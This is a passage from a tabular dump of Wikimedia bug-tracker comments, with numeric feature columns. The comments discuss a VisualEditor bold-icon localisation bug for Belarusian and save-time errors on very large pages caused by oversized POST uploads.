Oh, I'm sorry, I checked the wrong file. Anyway, JS adds the wrong class."
248033,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"**p.selitskas** wrote:

(In reply to comment #9)
> te-el shouldn't exist as it was replaced with just te, so maybe this is a
> caching issue?

https://bits.wikimedia.org/static-1.22wmf16/extensions/VisualEditor/modules/ve/ui/styles/images/icons/bold-cyrl-te-el.svg

404 (PNG as well). And I'm not counting the absent CSS class that should display this icon. Did the deployment come smoothly? :)",,,1379006874,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,4.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,17.0,0.0,2.0,6.0,0.0,2.0,0.0,2.0,6.0,0.0,4.0,0.0,2.0,4.0,6.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.230769230769231,0.7884615384615384,"**p.selitskas** wrote:

(In reply to comment #9)
QUOTE
QUOTE

URL

404 (PNG as well). And I'm not counting the absent CSS class that should display this icon. Did the deployment come smoothly? :)"
248028,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"te-el shouldn't exist as it was replaced with just te, so maybe this is a caching issue?",,,1379006381,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,14.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.272727272727273,0.9545454545454546,"te-el shouldn't exist as it was replaced with just te, so maybe this is a caching issue?"
248024,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"**p.selitskas** wrote:

Class .ve-ui-icon-bold-cyrl-te-el was not created/generated, and now there is empty space instead of a ""Bold"" icon. Reopening the bug.",,,1379006056,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0217391304347827,0.7608695652173914,"**p.selitskas** wrote:

Class .ve-ui-icon-bold-cyrl-te-el was not created/generated, and now there is empty space instead of a ""Bold"" icon. Reopening the bug."
248020,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,Now merged and will go out in about an hour.,,,1377035770,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.1818181818181817,1.0,Now merged and will go out in about an hour.
248016,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,Also related: https://gerrit.wikimedia.org/r/80126,,,1377029951,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,Also related: GERRIT_URL
248011,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"The be-tarask icons are now changed (and this version of the software will go out in a few hours' time); keeping the bug open for making it work with both be and be-tarask, as part of a general fall-back mode.",,,1377022483,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,7,,2.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,2.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,13.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.269230769230769,0.8269230769230769,"The be-tarask icons are now changed (and this version of the software will go out in a few hours' time); keeping the bug open for making it work with both be and be-tarask, as part of a general fall-back mode."
248003,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"Change 80049 merged by jenkins-bot:
Change be-tarask to use Te instead of Te-El for bold

https://gerrit.wikimedia.org/r/80049",,,1377022412,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,16.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.48,0.84,"Change 80049 merged by jenkins-bot:
Change be-tarask to use Te instead of Te-El for bold

GERRIT_URL"
247995,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"**p.selitskas** wrote:

(In reply to comment #1)
> We don't currently support [be], just [be-tarask]. Can you confirm that we
> should use the same icons for [be] (bold: T, italic: K)?

Yes, I confirm this suggestion.",,,1377017841,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.7857142857142857,"**p.selitskas** wrote:

(In reply to comment #1)
QUOTE
QUOTE

Yes, I confirm this suggestion."
247989,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"Change 80049 had a related patch set uploaded by Esanders:
Change be-tarask to use Te instead of Te-El for bold

https://gerrit.wikimedia.org/r/80049",,,1377017622,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,14.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.75,0.8928571428571429,"Change 80049 had a related patch set uploaded by Esanders:
Change be-tarask to use Te instead of Te-El for bold

GERRIT_URL"
247982,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"We don't currently support [be], just [be-tarask]. Can you confirm that we should use the same icons for [be] (bold: T, italic: K)?",,,1377017564,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,8.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,10.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,5.0,2.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.725,0.8,"We don't currently support [be], just [be-tarask]. Can you confirm that we should use the same icons for [be] (bold: T, italic: K)?"
55093,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","It first happened to the user who was trying to add a wikilink to a large page,  https://en.wikipedia.org/wiki/List_of_Criterion_Collection_DVD_and_Blu-ray_releases; he got the error while in VE so he made that edit with the classic editor later.
He then copied the contents of the page to a sandbox - https://en.wikipedia.org/wiki/User:Marc_Kupper/sandbox2 -  for further testing and these are his findings:

<< It took 74 seconds to load the page in VE, I made the change, save-page, give a reason (wikilink - testing VE), save-page again. After 1:45 (105 seconds) I got ""Error: Unknown error"" in the lower part of VE's edit-summary box. The save-page button is grayed out.
I don't think the actual edit I did matters. If someone wants to reproduce using my sandbox then the edit was in the last paragraph of the lead. Where it says ""...Essential Art House, Eclipse, and Merchant Ivory Collection..."" I changed ""Eclipse"" to [[Eclipse (DVD)|Eclipse]] by double-clicking on Eclipse to select, control-K to bring up the insert/edit link box, appending "" (d"" to the link-to value, click ""Eclipse (DVD)"" in the list of offerings, and then press <enter> a couple of times to close out the box. I suspect you can make any change you want. --Marc Kupper|talk 22:06, 19 August 2013 (UTC)


After documenting how I did the edit I tried the save again and again got the error. It happened 1:44 (104 seconds) after clicking save. I suspect the 105 seconds above is simply because I was a bit slow reacting as this time I was waiting for the error right around the 1:45 mark. --Marc Kupper|talk 22:06, 19 August 2013 (UTC)
I then did the following tests
I replaced all non-alphabetic characters with the letter ""x"" and can edit the page with VE. It appears the issue is with something in the page content, possibly combined with the page size.
I removed all 'ref' tags. Saving from VE still fails after 1:44
I removed most of the templates transcluded on the page. Saving with VE worked and took 1:17. However, I had intended to just add ""xxx"" in the middle of a word. VE also stripped a table in another part of the article of wikitext. (https://en.wikipedia.org/w/index.php?title=User%3AMarc_Kupper%2Fsandbox2&diff=569295763&oldid=569295507 ) --Marc Kupper|talk 23:16, 19 August 2013 (UTC)

I don't have time to debug this further at present - particularly as we now have two VE issues. The next step is to revert back to 22:48, 19 August 2013 and to then see if I can narrow it down from there. --Marc Kupper|talk 23:11, 19 August 2013 (UTC) >>

I tested on the first version of the sandbox as well, it took me almost 75 secs as well to load the page, I wikilinked a word and then hit Save - it took me 2min 15sec to get the error message while actually the edit was saved.  Thanks.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=70726
https://bugzilla.wikimedia.org/show_bug.cgi?id=51636",Medium,50.0,1377006180,,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_description,open,True,c1,3,False,False,,7,,0.42857142857142855,0.2857142857142857,0.0,0.2857142857142857,0.2857142857142857,2.5714285714285716,0.8571428571428571,0.14285714285714285,0.0,0.2857142857142857,1.8571428571428572,0.5714285714285714,0.0,0.14285714285714285,0.0,3.4285714285714284,0.14285714285714285,5.285714285714286,9.857142857142858,0.2857142857142857,1.7142857142857142,0.0,0.2857142857142857,0.0,4.714285714285714,0.2857142857142857,0.0,0.2857142857142857,0.42857142857142855,0.0,0.0,2.2857142857142856,0.8571428571428571,1.1428571428571428,0.42857142857142855,0.2857142857142857,0.14285714285714285,0.0,0.14285714285714285,0.14285714285714285,0.0,0.5714285714285714,0.7142857142857143,0.42857142857142855,0.0,0.0,0.0,0.0,0.0,15.0,0.14285714285714285,0.42857142857142855,0.0,0.2857142857142857,0.0,0.0,0.0,0.14285714285714285,0.7142857142857143,0.0,0.5714285714285714,0.2857142857142857,0.2857142857142857,0.14285714285714285,0.0,0.14285714285714285,0.0,7.0,1.4285714285714286,12.0,1.0,1.1428571428571428,8.142857142857142,0.0,0.0,0.0,0.0,2.857142857142857,0.0,3.7142857142857144,0.0,5.571428571428571,9.857142857142858,5.571428571428571,0.0,2.2857142857142856,0.0,5.571428571428571,0.0,0.42857142857142855,1.2857142857142858,0.2857142857142857,1.2857142857142858,0.14285714285714285,0.14285714285714285,1.1428571428571428,3.4740146245764225,0.663884430176565,"It first happened to the user who was trying to add a wikilink to a large page,  URL he got the error while in VE so he made that edit with the classic editor later.
He then copied the contents of the page to a sandbox - URL -  for further testing and these are his findings:

<< It took 74 seconds to load the page in VE, I made the change, save-page, give a reason (wikilink - testing VE), save-page again. After 1:45 (105 seconds) I got ""Error: Unknown error"" in the lower part of VE's edit-summary box. The save-page button is grayed out.
I don't think the actual edit I did matters. If someone wants to reproduce using my sandbox then the edit was in the last paragraph of the lead. Where it says ""...Essential Art House, Eclipse, and Merchant Ivory Collection..."" I changed ""Eclipse"" to [[Eclipse (DVD)|Eclipse]] by double-clicking on Eclipse to select, control-K to bring up the insert/edit link box, appending "" (d"" to the link-to value, click ""Eclipse (DVD)"" in the list of offerings, and then press <enter> a couple of times to close out the box. I suspect you can make any change you want. --Marc Kupper|talk 22:06, 19 August 2013 (UTC)


After documenting how I did the edit I tried the save again and again got the error. It happened 1:44 (104 seconds) after clicking save. I suspect the 105 seconds above is simply because I was a bit slow reacting as this time I was waiting for the error right around the 1:45 mark. --Marc Kupper|talk 22:06, 19 August 2013 (UTC)
I then did the following tests
I replaced all non-alphabetic characters with the letter ""x"" and can edit the page with VE. It appears the issue is with something in the page content, possibly combined with the page size.
I removed all 'ref' tags. Saving from VE still fails after 1:44
I removed most of the templates transcluded on the page. Saving with VE worked and took 1:17. However, I had intended to just add ""xxx"" in the middle of a word. VE also stripped a table in another part of the article of wikitext. (URL ) --Marc Kupper|talk 23:16, 19 August 2013 (UTC)

I don't have time to debug this further at present - particularly as we now have two VE issues. The next step is to revert back to 22:48, 19 August 2013 and to then see if I can narrow it down from there. --Marc Kupper|talk 23:11, 19 August 2013 (UTC) >>

I tested on the first version of the sandbox as well, it took me almost 75 secs as well to load the page, I wikilinked a word and then hit Save - it took me 2min 15sec to get the error message while actually the edit was saved.  Thanks.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL
URL"
512057,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)",">>! In T55093#572665, @GWicke wrote:
> The issue does not seem to be specific to any particular page. At https://en.wikipedia.org/wiki/OpenOffice.org?veaction=edit for example an initial
> load of 215k turns into a 3.6mb POST.
> 
> Possible remedies:
> * use gzip compression for the POST request body
> * use multipart/form-data POST encoding instead of application/x-ww-form-urlencoded to avoid percent encoding overhead
> * send HTML as a separate POST variable without JSON wrapper to avoid JSON escaping, in particular of quotes

Where are you seeing this? VE already does all of these things, which I just confirmed at https://en.wikipedia.org/wiki/OpenOffice.org?veaction=edit in Chrome. The POST that occurs when the (first) save button is pressed has a `multipart/form-data` POST body with gzipped content (the value of the `html` parameter starts with `rawdeflate,7H1rd9tGkuj3+RW9`). The POST that occurs when the second save button is pressed only sends a `cachekey` value, no large blob of HTML.

You should not have been able to trigger a multi-megabyte POST upload. Perhaps you observed a cachekey miss and there's a bug where the POST body is not compressed in that case?",,,1440110032,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,False,,,111,,0.5,0.0,0.0,2.0,1.5,5.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,1.0,0.5,0.0,6.5,5.5,0.0,1.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.5,0.0,0.5,2.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,13.0,2.0,1.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.5,0.0,0.5,1.0,0.0,0.0,8.0,3.5,16.0,2.5,1.0,11.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.5,5.5,10.0,1.5,0.0,0.0,2.5,0.0,4.5,3.5,0.0,0.5,0.0,0.0,0.0,3.7298733604703758,0.7672998643147897,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Where are you seeing this? VE already does all of these things, which I just confirmed at URL in Chrome. The POST that occurs when the (first) save button is pressed has a CODE POST body with gzipped content (the value of the CODE parameter starts with CODE). The POST that occurs when the second save button is pressed only sends a CODE value, no large blob of HTML.

You should not have been able to trigger a multi-megabyte POST upload. Perhaps you observed a cachekey miss and there's a bug where the POST body is not compressed in that case?"
512036,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)",">>! In T55093#572665, @GWicke wrote:
> Some additional info about the POST size issue on save:
> 
> To check the POST request size, I looked at the Content-Size header in the request headers once that completed (request to api.php started when opening the save dialog).
> 
> The issue does not seem to be specific to any particular page. At https://en.wikipedia.org/wiki/OpenOffice.org?veaction=edit for example an initial
> load of 215k turns into a 3.6mb POST.

You're saying that the page downloads gzipped at a weight of 215k and then when the browser goes to re-upload it has a weight of 3.6mb uncompressed? That sounds pretty bad to me.",,,1440108913,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,False,,,111,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,6.0,13.0,13.0,2.0,0.0,0.0,6.0,0.0,2.0,4.0,2.0,2.0,0.0,0.0,0.0,3.5660377358490565,0.6981132075471698,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

You're saying that the page downloads gzipped at a weight of 215k and then when the browser goes to re-upload it has a weight of 3.6mb uncompressed? That sounds pretty bad to me."
247939,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)",Strike the last point about JSON- the HTML is already sent as a plain query parameter without JSON wrapper.,,,1388954245,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,True,,,26,,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,20.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.45,0.95,Strike the last point about JSON- the HTML is already sent as a plain query parameter without JSON wrapper.
247933,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","Some additional info about the POST size issue on save:

To check the POST request size, I looked at the Content-Size header in the request headers once that completed (request to api.php started when opening the save dialog).

The issue does not seem to be specific to any particular page. At https://en.wikipedia.org/wiki/OpenOffice.org?veaction=edit for example an initial
load of 215k turns into a 3.6mb POST.

Possible remedies:
* use gzip compression for the POST request body
* use multipart/form-data POST encoding instead of application/x-ww-form-urlencoded to avoid percent encoding overhead
* send HTML as a separate POST variable without JSON wrapper to avoid JSON escaping, in particular of quotes",,,1388703828,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,True,,,26,,1.0,0.0,0.0,0.0,0.5,7.0,0.5,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,12.5,0.0,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,22.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,0.5,11.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,0.5,12.5,5.5,0.0,0.0,0.0,0.5,0.0,0.5,2.0,0.0,1.0,0.0,0.0,0.5,4.028985507246377,0.7608695652173914,"Some additional info about the POST size issue on save:

To check the POST request size, I looked at the Content-Size header in the request headers once that completed (request to api.php started when opening the save dialog).

The issue does not seem to be specific to any particular page. At URL for example an initial
load of 215k turns into a 3.6mb POST.

Possible remedies:
* use gzip compression for the POST request body
* use multipart/form-data POST encoding instead of application/x-ww-form-urlencoded to avoid percent encoding overhead
* send HTML as a separate POST variable without JSON wrapper to avoid JSON escaping, in particular of quotes"
247928,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","At
https://en.wikipedia.org/wiki/List_of_Criterion_Collection_DVD_and_Blu-ray_releases?veaction=edit,
I am seeing a 5.6mb upload on preview. This takes 47 seconds to transfer
using my DSL connection. Connections with slower upload speeds would do
worse, and possibly time out. The POST processing and response then
takes 7.9 seconds according to the Chromium network console.

For comparison, the HTML downloaded on VE open is 238kb in size and
takes 3 seconds to load. Total load time until VE is ready is around 36
seconds, again using Chromium.

In my experience Firefox's client-side processing would be a bit slower.",,,1388698096,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,True,,,26,,0.0,0.0,0.0,0.0,0.0,4.5,2.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,1.5,2.0,9.0,0.0,1.5,0.0,0.0,0.0,1.0,0.5,0.0,1.0,0.0,1.5,0.5,5.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,15.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,4.0,11.5,0.0,2.0,4.0,0.0,0.0,0.0,0.0,3.5,0.0,4.0,0.0,2.0,9.0,5.5,0.0,0.0,0.0,2.0,0.0,0.0,1.5,0.0,2.5,2.0,0.0,0.0,3.9122807017543857,0.8070175438596491,"At
URL
I am seeing a 5.6mb upload on preview. This takes 47 seconds to transfer
using my DSL connection. Connections with slower upload speeds would do
worse, and possibly time out. The POST processing and response then
takes 7.9 seconds according to the Chromium network console.

For comparison, the HTML downloaded on VE open is 238kb in size and
takes 3 seconds to load. Total load time until VE is ready is around 36
seconds, again using Chromium.

In my experience Firefox's client-side processing would be a bit slower."
247925,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","A user is reporting this problem at
https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=588582743#Reliable_but_not_powerful",,,1388536381,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,False,,,26,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,22.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,3.6666666666666665,1.0,"A user is reporting this problem at
URL"
247922,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","Ok, so comment #3 should read that in one occasion,
David got the message, the edit was not saved.
Editing the same article, I didn't get the message, and my edit was saved.
